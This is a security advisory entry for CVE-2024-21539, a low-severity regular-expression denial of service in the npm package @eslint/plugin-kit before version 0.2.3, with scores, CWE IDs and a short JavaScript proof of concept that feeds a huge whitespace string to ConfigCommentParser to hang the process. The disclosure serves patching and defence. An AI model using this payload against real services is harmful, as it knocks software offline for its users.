CVE-2024-21539 – @eslint/plugin-kit
Package
Manager: npm
Name: @eslint/plugin-kit
Vulnerable Version: >=0 <0.2.3
Severity
Level: Low
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS: 0.00198 pctl0.42037
Details
Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit Crafting a very large and well crafted string can increase the CPU usage and crash the program. ## POC ```js const { ConfigCommentParser } = require("@eslint/plugin-kit"); var str = ""; for (var i = 0; i < 1000000; i++) { str += " "; } str += "A"; console.log("start") var parser = new ConfigCommentParser(); console.log(parser.parseStringConfig(str, "")); console.log("end") // run `npm i @eslint/plugin-kit` and `node attack.js` // then the program will stuck forever with high CPU usage ```
Metadata
Created: 2024-11-15T20:47:31Z
Modified: 2024-11-19T20:49:57Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-7q7g-4xm8-89cq/GHSA-7q7g-4xm8-89cq.json
CWE IDs: ["CWE-1333", "CWE-770"]
Alternative ID: GHSA-7q7g-4xm8-89cq
Finding: F211
Auto approve: 1